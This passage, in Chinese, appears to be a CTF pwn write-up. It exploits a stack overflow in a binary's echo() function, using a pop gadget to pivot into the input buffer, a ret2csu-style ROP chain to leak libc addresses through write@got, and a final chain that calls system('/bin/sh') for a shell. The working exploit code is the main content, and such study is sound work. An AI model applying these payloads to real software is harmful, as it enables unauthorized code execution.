buf的空间大小为0x400,read()的读入长度也为0x400。进入echo()函数继续查找。
字符串s2长度为0x10,内容从buf进行拷贝,当遇到\x00时特,停止拷贝。栈布局如下
| size |
data |
| 0x10 |
s2 |
| 0x08 |
saved ebp |
| 0x08 |
return address |
| 0x400 |
buf |
构造如下payload:
1
| payload = 'a' * 24 + return_addr
|
由于字符串复制遇\x00终止,因此最多只能传入一个地址。但由于返回地址之后就是我们所输入的buf,所以需要利用buf进行控制。buf的前32字节为上述payload,因此需要利用gadget从栈中移除32字节,使用pop四次返回即可,随后便进入预先设计好的控制流中。由于原先的返回地址非\x00长度与pop4_addr相同,因此可以成功写入。leak函数设计如下:
1 2 3 4 5 6 7 8 9 10
| def leak(addr): payload = 'a' * 24 + p64(pop4_addr) payload += p64(pop6_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(addr) + p64(1) payload += p64(call_addr) + 'a' * 56 payload += p64(start_addr) payload = payload.ljust(0x400, 'a') p.send(payload) data = p.recv(8) p.recv(0x400) return data
|
获取system地址后:
1 2 3 4 5 6 7 8
| payload = 'a' * 24 + p64(pop4_addr) payload += p64(pop6_addr) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss_addr) + p64(0) payload += p64(call_addr) + 'a' * 56 payload += p64(poprdi_addr) + p64(bss_addr) + p64(system_addr) payload = payload.ljust(0x400, 'a') p.send(payload) p.send('/bin/sh\x00') p.interactive()
|
参考文章和bin下载:https://www.anquanke.com/post/id/85129